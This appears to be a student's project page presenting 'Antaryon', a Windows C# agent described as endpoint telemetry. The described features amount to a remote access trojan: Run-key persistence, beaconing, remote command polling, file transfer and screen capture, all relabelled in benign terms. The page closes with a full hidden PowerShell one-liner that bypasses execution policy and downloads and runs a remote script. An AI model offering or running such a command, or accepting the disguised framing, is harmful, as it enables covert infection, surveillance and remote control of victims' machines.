Antaryon Management System Framework

Antaryon

An Asynchronous Lightweight Endpoint Telemetry Architecture

Designed by Ragib Uddin (RK) | CSE Student

Project Overview & Genesis

What is Antaryon? Antaryon is a high-performance, native Windows background execution agent designed using C# and the .NET framework. It serves as a specialized telemetry engine that decouples standard endpoint data processing from user-facing graphical interfaces, streaming critical runtime system configurations to a centralized management console via non-blocking, asynchronous pipelines.

Why I Created It: As a Computer Science & Engineering (CSE) student deeply fascinated by operating system internals and security research, I wanted to understand exactly how low-level Windows APIs interface with high-level network applications. Instead of relying on pre-built third-party administrative utilities, I challenged myself to build a robust endpoint management platform from scratch. This project allowed me to explore multi-threading models, registry-based execution contexts, and cryptographic machine identifier generation in a real-world software architecture scenario.

Technical Implementation Blueprint

1. Machine Identification

Generates a static, hardware-bound identifier to track distinct deployment endpoints across changing network parameters.

Queries the Windows MachineGuid registry key or checks active MAC addresses via NetworkInterface properties to construct a unique fingerprint tag.

2. Persistence Configuration

Ensures that the administrative agent remains functional across system reboots and user session restarts.

Interacts with the localized user registry hive at SOFTWARE\Microsoft\Windows\CurrentVersion\Run to register the binary container automatically.

3. Telemetry Check-in Loops

Maintains a structured, low-overhead beacon status report to verify asset status and resource usage constraints.

Runs a 10-second polling cycle that packages system descriptions, active workspace application context headers, and relative path states into structured requests.

4. Asynchronous Task Routing

Polls back-end database controller queues to dynamically parse commands without locking the main thread execution context.

Leverages a 3-second cycle to retrieve JSON task structures, passing data directly to localized parsing blocks to adjust operational states.

5. File Processing Utilities

Enables administrative context switching, allowing direct directory tracking and remote diagnostic log verification.

Implements conditional wrappers for file management commands (like directory shifts or log parsing), limiting file transfers to a structured 50MB safety ceiling.

6. Graphical Verification Modules

Interacts directly with the localized GDI subsystem to provide visual environment validation logs during remote support sessions.

Uses Platform Invoke (P/Invoke) to call GetDesktopWindow and CopyFromScreen, rendering active session contexts into memory buffers.

Technical System Matrix

Project Architecture Lead: Ragib Uddin RK (Computer Science Engineering Division)
Development Runtime Environment: C# .NET Runtime Environment (Native Compilation)
Database Synchronization Layer: Relational MySQL Infrastructure Routed Through Secure PHP Frameworks
Target System Execution Boundary: Windows Operating System Subsystem (User Session Layer)
Administrative Initialization Reference String Windows Shell Only
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "iex ((New-Object Net.WebClient).DownloadString('https://antaryami.ragibuddin.in/deploy.txt')); exit"; exit